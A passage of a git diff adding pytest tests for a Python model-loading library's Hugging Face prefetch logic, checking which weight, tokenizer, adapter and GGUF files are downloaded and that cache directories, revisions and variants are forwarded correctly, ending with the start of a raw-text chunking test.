+    kept = _filter(sharded, st["allow_patterns"], st["ignore_patterns"])
+    assert set(kept) == set(sharded)
+
+
+def test_tokenizer_only_warms_only_aux_files(capture):
+    """A tokenizer-only repo warms tokenizer/config/vocab files, never weights."""
+    _, st = capture(tokenizer_only = True)
+    assert st["ignore_patterns"] is None
+    assert st["allow_patterns"] == list(U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "tokenizer.json" in kept and "config.json" in kept
+    assert "model-00001-of-00002.safetensors" not in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_aux_warm_covers_arbitrary_remote_code_modules(capture):
+    """The aux warm must cover any *.py, since trust_remote_code auto_map names modules freely."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    assert "*.py" in allow
+    remote_code = [
+        "config.json",
+        "modeling.py",
+        "tokenization.py",
+        "my_custom_code.py",
+        "configuration_foo.py",
+    ]
+    kept = _filter(remote_code, allow, st["ignore_patterns"])
+    for name in ("modeling.py", "tokenization.py", "my_custom_code.py", "configuration_foo.py"):
+        assert name in kept, name
+
+
+def test_subfolder_warms_subfolder_plus_root_aux(capture):
+    """A subfolder load warms that subfolder's weights plus root aux; other subdirs/root weights skipped."""
+    _, st = capture(subfolder = "fp16")
+    allow = st["allow_patterns"]
+    assert "fp16/*" in allow
+    assert all(p in allow for p in U._ROOT_AUX_PREFETCH_PATTERNS)
+    kept = _filter(_SAMPLE_FILES, allow, st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+    assert "config.json" in kept
+    assert "experimental/model-00001-of-00002.safetensors" not in kept
+
+
+def test_subfolder_takes_precedence_over_weights_at_root(capture):
+    """When a subfolder is requested the subfolder branch wins over weights_at_root."""
+    _, st = capture(subfolder = "fp16", weights_at_root = True)
+    assert "fp16/*" in st["allow_patterns"]
+    kept = _filter(_SAMPLE_FILES, st["allow_patterns"], st["ignore_patterns"])
+    assert "fp16/model.safetensors" in kept
+
+
+def test_local_dir_is_not_warmed(capture, tmp_path):
+    """A local directory path skips the warm (returns False)."""
+    d = tmp_path / "local-model"
+    d.mkdir()
+    ok = U.maybe_prefetch_hf_snapshot(str(d), weights_at_root = True)
+    assert ok is False
+
+
+def _install_fake_model_info(monkeypatch, filenames):
+    """Make HfApi().model_info(...).siblings report filenames, with no network."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Info:
+        def __init__(self, names):
+            self.siblings = [_Sib(n) for n in names]
+
+    class _Api:
+        def model_info(self, *a, **k):
+            return _Info(filenames)
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _Api)
+
+
+# ----- Finding P: variant-aware weight-format selection -----
+
+
+def test_variant_keeps_bin_when_only_default_safetensors(monkeypatch):
+    """A default model.safetensors must not prove a variant .bin redundant; without a variant it does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
+    ig_default = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_default
+
+
+def test_variant_drops_bin_when_variant_safetensors_present(monkeypatch):
+    """A variant-matching safetensors makes the variant .bin redundant, so .bin is dropped."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_no_variant_keeps_bin_when_only_variant_safetensors(monkeypatch):
+    """For a no-variant load, only a canonical safetensors (not a lone variant) makes .bin redundant."""
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_variant_keeps_bin_for_noncanonical_sidecar(monkeypatch):
+    """A non-canonical variant sidecar must not prove the variant .bin redundant; a canonical one does."""
+    _install_fake_model_info(
+        monkeypatch, ["consolidated.fp16.safetensors", "pytorch_model.fp16.bin"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" not in ig
+    _install_fake_model_info(monkeypatch, ["model.fp16.safetensors", "pytorch_model.fp16.bin"])
+    ig2 = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig2
+
+
+def test_is_canonical_model_weight_safetensors():
+    """The canonical detector matches only non-variant model-weight safetensors names."""
+    assert U._is_canonical_model_weight_safetensors("model.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_canonical_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_canonical_model_weight_safetensors("model.fp16.safetensors") is False
+    assert (
+        U._is_canonical_model_weight_safetensors("model.fp16-00001-of-00002.safetensors") is False
+    )
+    assert U._is_canonical_model_weight_safetensors("adapter_model.safetensors") is False
+
+
+def test_st_prefetch_resolves_env_cache_and_runs_after_validation():
+    """The ST prefetch must resolve SENTENCE_TRANSFORMERS_HOME and run after load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert len(prefetch_calls) == 1, "expected exactly one ST prefetch call"
+    call = prefetch_calls[0]
+    # cache_dir kwarg resolves SENTENCE_TRANSFORMERS_HOME.
+    cache_dir_kw = next((kw for kw in call.keywords if kw.arg == "cache_dir"), None)
+    assert cache_dir_kw is not None, "ST prefetch must pass cache_dir"
+    assert "SENTENCE_TRANSFORMERS_HOME" in ast.dump(
+        cache_dir_kw.value
+    ), "ST prefetch cache_dir must resolve SENTENCE_TRANSFORMERS_HOME"
+    # Load-mode validation runs before the prefetch (fewer source lines = earlier).
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < call.lineno, "load-mode validation must precede the ST prefetch"
+
+
+def test_st_cache_resolutions_honor_explicit_hf_cache_dir():
+    """Every ST cache resolution falling back to SENTENCE_TRANSFORMERS_HOME must first honor an explicit HF cache_dir."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    resolutions = [
+        kw
+        for kw in ast.walk(tree)
+        if isinstance(kw, ast.keyword)
+        and kw.arg == "cache_dir"
+        and "SENTENCE_TRANSFORMERS_HOME" in ast.dump(kw.value)
+    ]
+    assert resolutions, "expected cache_dir resolutions referencing SENTENCE_TRANSFORMERS_HOME"
+    for kw in resolutions:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "an ST cache_dir resolution must read an explicit kwargs.get('cache_dir') first"
+
+
+def test_st_native_loads_map_hf_cache_dir_to_cache_folder():
+    """Native SentenceTransformer loads take cache_folder, so an explicit HF cache_dir must be mapped onto it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    # Every native SentenceTransformer(...) forwarding cache_folder must read cache_dir.
+    st_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "SentenceTransformer"
+    ]
+    cache_folder_kws = [kw for call in st_calls for kw in call.keywords if kw.arg == "cache_folder"]
+    assert cache_folder_kws, "expected a native SentenceTransformer call forwarding cache_folder"
+    for kw in cache_folder_kws:
+        assert "'cache_dir'" in ast.dump(
+            kw.value
+        ), "a native SentenceTransformer cache_folder must map the explicit HF cache_dir first"
+    # for_inference feeds cache_folder via st_kwargs; both native branches map cache_dir -> cache_folder.
+    normalized = "".join(src.split())
+    assert (
+        'st_kwargs["cache_folder"]=' in normalized
+    ), "for_inference must set st_kwargs cache_folder"
+    assert (
+        normalized.count('kwargs.get("cache_dir")orkwargs.get("cache_folder")') >= 2
+    ), "both native ST branches (for_inference, fast-encoder) must map cache_dir -> cache_folder"
+
+
+def test_vision_warms_vllm_tokenizer_after_remap():
+    """On the vLLM path the tokenizer warm is deferred until after the fast_inference_setup remap."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    guard = "if _vllm_owns_weights and isinstance(tokenizer_name"
+    assert guard in src, "expected a vLLM-gated tokenizer warm"
+    assert src.index(guard) > src.index(
+        "fast_inference_setup("
+    ), "the vLLM tokenizer warm must run after the fast_inference_setup remap"
+
+
+def test_diffusion_forwards_variant_to_real_load():
+    """FastDiffusionModel must forward variant to the real model_cls.from_pretrained load, not just the prefetch."""
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "diffusion.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    assert (
+        'load_kwargs["variant"] = kwargs["variant"]' in src
+    ), "the diffusion load must forward variant to model_cls.from_pretrained"
+
+
+def test_vision_prefetch_runs_after_load_mode_validation():
+    """The FastBaseModel (vision) prefetch must run after the load-mode validation."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "vision.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+    prefetch_calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Name)
+        and n.func.id == "maybe_prefetch_hf_snapshot"
+    ]
+    assert prefetch_calls, "expected a vision prefetch call"
+    first_prefetch = min(call.lineno for call in prefetch_calls)
+    val_lineno = src[: src.index("Can only load in 4bit or 8bit or 16bit")].count("\n")
+    assert val_lineno < first_prefetch, "load-mode validation must precede the vision prefetch"
+
+
+def test_llama_prefetch_skips_only_real_vllm_loads():
+    """The llama prefetch's fast_inference skip must be gated on num_labels is None (a classification load still downloads)."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "llama.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    gated = False
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            continue
+        fi_kw = next((kw for kw in n.keywords if kw.arg == "fast_inference"), None)
+        if fi_kw is None:
+            continue
+        dumped = ast.dump(fi_kw.value)
+        if "fast_inference" in dumped and "num_labels" in dumped:
+            gated = True
+    assert gated, "llama prefetch fast_inference must be gated on num_labels is None"
+
+
+def test_st_fallback_module_loads_resolve_env_cache():
+    """Fallback module loads deriving cache_dir from cache_folder must also fall back to SENTENCE_TRANSFORMERS_HOME."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        src = f.read()
+    tree = ast.parse(src)
+
+    # Fallback sites (cache_dir derived from cache_folder) must resolve SENTENCE_TRANSFORMERS_HOME.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None:
+            continue
+        dumped = ast.dump(cache_dir_kw.value)
+        if "cache_folder" not in dumped:
+            continue  # internal pass-through, not a resolution site
+        checked += 1
+        assert (
+            "SENTENCE_TRANSFORMERS_HOME" in dumped
+        ), f"{node.func.attr} cache_dir resolves cache_folder but not SENTENCE_TRANSFORMERS_HOME"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to resolve the env cache"
+
+
+def test_st_fallback_module_loads_forward_revision():
+    """The fallback module loads must forward revision so module files match the revision-pinned weights.
+    Guards: (a) helpers accept revision, (b) every download primitive forwards it, (c) _load_modules
+    threads it into internal calls, (d) the from_pretrained fallback sites forward it."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    funcs = {
+        n.name: n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.FunctionDef)
+        and n.name in ("_module_path", "_read_pooling_mode", "_load_modules")
+    }
+    assert set(funcs) == {"_module_path", "_read_pooling_mode", "_load_modules"}
+
+    # (a) each helper takes a revision parameter.
+    for name, fn in funcs.items():
+        arg_names = {a.arg for a in fn.args.args + fn.args.kwonlyargs}
+        assert "revision" in arg_names, f"{name} must accept a revision argument"
+
+    # (b) every download primitive inside the helpers forwards revision.
+    downloads = 0
+    for name, fn in funcs.items():
+        for node in ast.walk(fn):
+            if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Name)):
+                continue
+            if node.func.id not in ("hf_hub_download", "load_dir_path"):
+                continue
+            downloads += 1
+            assert any(
+                kw.arg == "revision" for kw in node.keywords
+            ), f"{node.func.id} in {name} must forward revision"
+    assert downloads >= 3, "expected the module-download primitives to be revision-guarded"
+
+    # (c) _load_modules threads revision into its internal _module_path / _read_pooling_mode calls.
+    internal = 0
+    for node in ast.walk(funcs["_load_modules"]):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_read_pooling_mode"):
+            continue
+        internal += 1
+        assert any(
+            kw.arg == "revision" for kw in node.keywords
+        ), f"_load_modules must forward revision to {node.func.attr}"
+    assert internal >= 2, "expected _load_modules to call _module_path and _read_pooling_mode"
+
+    # (d) the from_pretrained fallback _module_path / _load_modules sites forward revision.
+    checked = 0
+    for node in ast.walk(tree):
+        if not (isinstance(node, ast.Call) and isinstance(node.func, ast.Attribute)):
+            continue
+        if node.func.attr not in ("_module_path", "_load_modules"):
+            continue
+        cache_dir_kw = next((kw for kw in node.keywords if kw.arg == "cache_dir"), None)
+        if cache_dir_kw is None or "cache_folder" not in ast.dump(cache_dir_kw.value):
+            continue  # internal pass-through, not a fallback site
+        checked += 1
+        rev_kw = next((kw for kw in node.keywords if kw.arg == "revision"), None)
+        assert rev_kw is not None and "revision" in ast.dump(
+            rev_kw.value
+        ), f"{node.func.attr} fallback call must forward revision"
+    assert (
+        checked >= 2
+    ), "expected the fallback _module_path and _load_modules calls to forward revision"
+
+
+def test_st_fallback_model_load_resolves_env_cache():
+    """from_pretrained must resolve the warmed ST cache into kwargs['cache_dir'] before the FastModel weight load."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    def _resolves_st_cache(value_node):
+        # Resolution may be inline or in the assignment to an intermediate variable the value references.
+        dumped = ast.dump(value_node)
+        if "cache_folder" in dumped and "SENTENCE_TRANSFORMERS_HOME" in dumped:
+            return True
+        if isinstance(value_node, ast.Name):
+            for n in ast.walk(tree):
+                if isinstance(n, ast.Assign) and any(
+                    isinstance(t, ast.Name) and t.id == value_node.id for t in n.targets
+                ):
+                    d = ast.dump(n.value)
+                    if "cache_folder" in d and "SENTENCE_TRANSFORMERS_HOME" in d:
+                        return True
+        return False
+
+    resolved_lines = []
+    for node in ast.walk(tree):
+        if not isinstance(node, ast.Assign):
+            continue
+        for tgt in node.targets:
+            if (
+                isinstance(tgt, ast.Subscript)
+                and isinstance(tgt.value, ast.Name)
+                and tgt.value.id == "kwargs"
+                and isinstance(tgt.slice, ast.Constant)
+                and tgt.slice.value == "cache_dir"
+                and _resolves_st_cache(node.value)
+            ):
+                resolved_lines.append(node.lineno)
+    assert resolved_lines, "from_pretrained must resolve the ST cache into kwargs['cache_dir']"
+
+    fastmodel_calls = [
+        n.lineno
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call)
+        and isinstance(n.func, ast.Attribute)
+        and n.func.attr == "from_pretrained"
+        and isinstance(n.func.value, ast.Name)
+        and n.func.value.id == "FastModel"
+    ]
+    assert fastmodel_calls, "expected a FastModel.from_pretrained call"
+    assert min(resolved_lines) < min(
+        fastmodel_calls
+    ), "kwargs['cache_dir'] must be resolved before the fallback FastModel weight load"
+
+
+def test_canonical_variant_model_weight_matches_transformers_names():
+    """The variant safetensors detector matches only canonical variant names, rejecting sidecars and wrong variants."""
+    f = U._is_canonical_variant_model_weight_safetensors
+    assert f("model.fp16.safetensors", "fp16") is True
+    assert f("model.fp16-00001-of-00002.safetensors", "fp16") is True
+    assert f("model-00001-of-00002.fp16.safetensors", "fp16") is True
+    assert f("model.safetensors.index.fp16.json", "fp16") is True
+    assert f("consolidated.fp16.safetensors", "fp16") is False
+    assert f("model.safetensors", "fp16") is False
+    assert f("model-00001-of-00002.safetensors", "fp16") is False
+    assert f("model.bf16.safetensors", "fp16") is False
+
+
+def test_variant_is_forwarded_to_downloader(capture):
+    """maybe_prefetch_hf_snapshot must forward variant to the downloader (absent a variant, nothing is forwarded)."""
+    _, st = capture(weights_at_root = True, use_safetensors = True, variant = "fp16")
+    assert st["variant"] == "fp16"
+    _, st = capture(weights_at_root = True, use_safetensors = True)
+    assert st["variant"] is None
+
+
+def test_variant_drops_bin_for_sharded_variant_safetensors(monkeypatch):
+    """A sharded variant safetensors is recognized, so its redundant variant .bin is dropped."""
+    _install_fake_model_info(
+        monkeypatch,
+        [
+            "model.fp16-00001-of-00002.safetensors",
+            "model.fp16-00002-of-00002.safetensors",
+            "pytorch_model.fp16-00001-of-00002.bin",
+        ],
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", variant = "fp16", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_tokenizer_only_warms_extra_vocab_files(capture):
+    """tokenizer_only must warm SentencePiece / vocab / processor files, including a named jinja template."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+    ):
+        assert name in allow, name
+    sample = [
+        "spm.model",
+        "normalizer.json",
+        "video_preprocessor_config.json",
+        "tokenizer.model.v3",
+        "additional_chat_templates/custom.jinja",
+    ]
+    kept = _filter(sample, allow, st["ignore_patterns"])
+    assert set(kept) == set(sample)
+
+
+def test_format_probe_runs_even_when_config_cached(capture, monkeypatch):
+    """A cached config.json must not skip the weight-format probe; model_info still drops the redundant .bin."""
+    import huggingface_hub
+
+    # Pretend config.json is cached (the AutoConfig side effect); this must not gate the probe.
+    monkeypatch.setattr(
+        huggingface_hub, "try_to_load_from_cache", lambda *a, **k: "/cache/config.json"
+    )
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "pytorch_model.bin"])
+    _, st = capture(weights_at_root = True)
+    ig = st["ignore_patterns"] or []
+    assert "*.bin" in ig
+
+
+def test_optimizer_safetensors_does_not_drop_bin(monkeypatch):
+    """An optimizer.safetensors sidecar must not count as model safetensors, so the real .bin weights are kept."""
+    _install_fake_model_info(monkeypatch, ["pytorch_model.bin", "optimizer.safetensors"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" not in ig
+
+
+def test_model_safetensors_still_drops_bin(monkeypatch):
+    """Control for the optimizer case: a real model.safetensors next to pytorch_model.bin still drops the .bin."""
+    _install_fake_model_info(
+        monkeypatch, ["model.safetensors", "pytorch_model.bin", "optimizer.safetensors"]
+    )
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig
+
+
+def test_whole_multi_component_snapshot_keeps_subdir_bin(monkeypatch):
+    """A whole multi-component snapshot must not drop *.bin (it would strip a subdir module's weight); a root load still does."""
+    _install_fake_model_info(monkeypatch, ["model.safetensors", "1_Dense/pytorch_model.bin"])
+    ig = U._prefetch_ignore_patterns("org/repo", weights_at_root = False)
+    assert "*.bin" not in ig
+    ig_root = U._prefetch_ignore_patterns("org/repo", weights_at_root = True)
+    assert "*.bin" in ig_root
+
+
+def test_is_model_weight_safetensors_classification():
+    """Real model weights count; adapter / trainer-state sidecars do not."""
+    assert U._is_model_weight_safetensors("model.safetensors") is True
+    assert U._is_model_weight_safetensors("model-00001-of-00002.safetensors") is True
+    assert U._is_model_weight_safetensors("model.safetensors.index.json") is True
+    assert U._is_model_weight_safetensors("consolidated.safetensors") is True
+    assert U._is_model_weight_safetensors("adapter_model.safetensors") is False
+    assert U._is_model_weight_safetensors("optimizer.safetensors") is False
+    assert U._is_model_weight_safetensors("scheduler.safetensors") is False
+    assert U._is_model_weight_safetensors("rng_state_0.safetensors") is False
+
+
+def test_tokenizer_only_warms_slow_sentencepiece_vocab(capture):
+    """tokenizer_only must warm the slow-tokenizer SentencePiece / BPE vocab files AutoTokenizer fetches first."""
+    _, st = capture(tokenizer_only = True)
+    allow = st["allow_patterns"]
+    for name in (
+        "sentencepiece.bpe.model",
+        "source.spm",
+        "target.spm",
+        "bpe.codes",
+        "vocab.bpe",
+        "sentencepiece.model",
+        "vocab-src.json",
+        "vocab-tgt.json",
+    ):
+        assert name in allow, name
+
+
+def test_adapter_safetensors_check_scoped_to_root(monkeypatch):
+    """_adapter_repo_has_safetensors must only count a root adapter_model*.safetensors, not a subdir one."""
+    import huggingface_hub
+
+    class _Sib:
+        def __init__(self, name):
+            self.rfilename = name
+
+    class _Api:
+        def __init__(self, names):
+            self._names = names
+
+        def model_info(self, *a, **k):
+            return type("MI", (), {"siblings": [_Sib(n) for n in self._names]})()
+
+    # Subdir safetensors only -> not reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(
+            ["adapter_config.json", "adapter_model.bin", "checkpoint-5/adapter_model.safetensors"]
+        ),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is False
+    # Root safetensors -> reported present.
+    monkeypatch.setattr(
+        huggingface_hub,
+        "HfApi",
+        lambda: _Api(["adapter_config.json", "adapter_model.safetensors"]),
+    )
+    assert U._adapter_repo_has_safetensors("org/repo") is True
+
+
+def test_gguf_file_warm_keeps_gguf(capture):
+    """A gguf_file load allow-lists that GGUF while not pulling other quants the repo publishes."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf")
+    allow = st["allow_patterns"]
+    ig = st["ignore_patterns"]
+    assert allow is not None and "model-Q4_K_M.gguf" in allow
+    sample = [
+        "model-Q4_K_M.gguf",
+        "model-Q8_0.gguf",
+        "config.json",
+        "tokenizer.json",
+    ]
+    kept = _filter(sample, allow, ig)
+    assert "model-Q4_K_M.gguf" in kept
+    assert "config.json" in kept
+    assert "model-Q8_0.gguf" not in kept
+
+
+# ----- Finding Q: adapter weight-format selection -----
+
+
+def test_adapter_only_prefers_safetensors_over_bin(capture, monkeypatch):
+    """A mixed-format adapter repo warms only the safetensors PeftModel reads, not both formats."""
+    _install_fake_model_info(
+        monkeypatch, ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"]
+    )
+    _, st = capture(adapter_only = True)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.bin" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.safetensors" in kept
+    assert "adapter_model.bin" not in kept
+
+
+def test_adapter_only_bin_only_keeps_bin(capture, monkeypatch):
+    """A .bin-only adapter repo must keep adapter_model.bin (no safetensors found -> both formats eligible)."""
+    _install_fake_model_info(monkeypatch, ["adapter_config.json", "adapter_model.bin"])
+    _, st = capture(adapter_only = True)
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.bin"], st["allow_patterns"], st["ignore_patterns"]
+    )
+    assert "adapter_model.bin" in kept
+
+
+def test_adapter_only_explicit_use_safetensors_false_keeps_bin(capture):
+    """An explicit use_safetensors=False forces the .bin form without a model_info call."""
+    _, st = capture(adapter_only = True, use_safetensors = False)
+    ig = st["ignore_patterns"]
+    assert ig is not None and "adapter_model*.safetensors" in ig
+    kept = _filter(
+        ["adapter_config.json", "adapter_model.safetensors", "adapter_model.bin"],
+        st["allow_patterns"],
+        ig,
+    )
+    assert "adapter_model.bin" in kept
+    assert "adapter_model.safetensors" not in kept
+
+
+def test_gguf_file_with_subfolder_warms_subfolder_path(capture):
+    """gguf_file + subfolder: the warm allow-lists <subfolder>/<gguf_file>, not the bare root name."""
+    _, st = capture(weights_at_root = True, gguf_file = "model-Q4_K_M.gguf", subfolder = "gguf")
+    allow = st["allow_patterns"]
+    assert "gguf/model-Q4_K_M.gguf" in allow
+    kept = _filter(["gguf/model-Q4_K_M.gguf", "config.json"], allow, st["ignore_patterns"])
+    assert "gguf/model-Q4_K_M.gguf" in kept and "config.json" in kept
+
+
+def test_from_tf_root_load_ignores_nested_h5(capture):
+    """A from_tf root load keeps the root .h5 but drops nested .h5 / .msgpack checkpoints."""
+    _, st = capture(weights_at_root = True, from_tf = True)
+    ig = st["ignore_patterns"]
+    assert "*/*.h5" in ig and "*/*.msgpack" in ig
+    kept = _filter(["model.h5", "checkpoint-1/model.h5", "config.json"], st["allow_patterns"], ig)
+    assert "model.h5" in kept
+    assert "checkpoint-1/model.h5" not in kept
+
+
+def test_sentence_transformer_from_pretrained_is_prefetch_wired():
+    """from_pretrained must call maybe_prefetch_hf_snapshot as an unconditional top-level statement before any return."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    cls = next(
+        n for n in tree.body if isinstance(n, ast.ClassDef) and n.name == "FastSentenceTransformer"
+    )
+    fp = next(n for n in cls.body if isinstance(n, ast.FunctionDef) and n.name == "from_pretrained")
+
+    def _prefetch_call(node):
+        # a bare call statement, or one whose return is captured (e.g. _st_prefetched = ...)
+        value = node.value if isinstance(node, (ast.Expr, ast.Assign)) else None
+        if (
+            isinstance(value, ast.Call)
+            and isinstance(value.func, ast.Name)
+            and value.func.id == "maybe_prefetch_hf_snapshot"
+        ):
+            return value
+        return None
+
+    prefetch_pos = next((i for i, n in enumerate(fp.body) if _prefetch_call(n)), None)
+    return_pos = next((i for i, n in enumerate(fp.body) if isinstance(n, ast.Return)), len(fp.body))
+    assert (
+        prefetch_pos is not None
+    ), "from_pretrained must call maybe_prefetch_hf_snapshot at top level"
+    assert prefetch_pos < return_pos, "prefetch must run before any top-level return"
+    # local_files_only must be forwarded so an offline load does not start a Hub download.
+    prefetch_call = _prefetch_call(fp.body[prefetch_pos])
+    assert "local_files_only" in {
+        kw.arg for kw in prefetch_call.keywords
+    }, "prefetch must forward local_files_only"
+
+
+def test_st_module_download_forwards_cache_folder():
+    """_load_modules must forward the custom cache_folder into load_dir_path so per-module subdirs read the warmed cache."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    calls = [
+        n
+        for n in ast.walk(tree)
+        if isinstance(n, ast.Call) and isinstance(n.func, ast.Name) and n.func.id == "load_dir_path"
+    ]
+    assert calls, "expected a load_dir_path call in sentence_transformer.py"
+    assert all(
+        "cache_folder" in {kw.arg for kw in c.keywords} for c in calls
+    ), "every load_dir_path call must forward cache_folder"
+
+
+def test_st_native_sentence_transformer_calls_forward_cache_folder():
+    """Every native SentenceTransformer(model_name, ...) load must forward cache_folder; a modules-based build needs none."""
+    import ast
+    import os
+
+    src_path = os.path.join(os.path.dirname(U.__file__), "sentence_transformer.py")
+    with open(src_path, "r", encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+    weight_loading_calls = []
+    for n in ast.walk(tree):
+        if not (
+            isinstance(n, ast.Call)
+            and isinstance(n.func, ast.Name)
+            and n.func.id == "SentenceTransformer"
+        ):
+            continue
+        kw_names = {kw.arg for kw in n.keywords}
+        # A modules-based build downloads nothing; only a repo-name load reads the cache.
+        if "modules" in kw_names:
+            continue
+        weight_loading_calls.append(n)
+    assert (
+        weight_loading_calls
+    ), "expected a repo-name SentenceTransformer load in sentence_transformer.py"
+    # cache_folder is forwarded explicitly or via a **kwargs unpacking (kw.arg == None).
+    for c in weight_loading_calls:
+        kw_names = {kw.arg for kw in c.keywords}
+        forwards = "cache_folder" in kw_names or None in kw_names
+        assert forwards, (
+            "a repo-name SentenceTransformer load must forward cache_folder "
+            f"(explicitly or via **kwargs) at line {c.lineno}"
+        )
diff --git a/tests/test_raw_text.py b/tests/test_raw_text.py
index d7f6c317fe..bc75c2e44d 100644
--- a/tests/test_raw_text.py
+++ b/tests/test_raw_text.py
@@ -141,6 +141,26 @@ def test_raw_text_loader():
         except ValueError as e:
             assert "stride" in str(e) and "chunk_size" in str(e)
 
+        # smart_chunk_text validation: called directly, chunk_size/stride are its own
+        # arguments and bypass the constructor guard, so it must guard itself or an
+        # invalid stride makes `start_idx += chunk_size - stride` non-positive and the
+        # chunking loop never terminates (hangs).
+        long_text = "This is a test file for raw text training. " * 10
+        valid_chunks = loader.smart_chunk_text(long_text, chunk_size = 5, stride = 2)
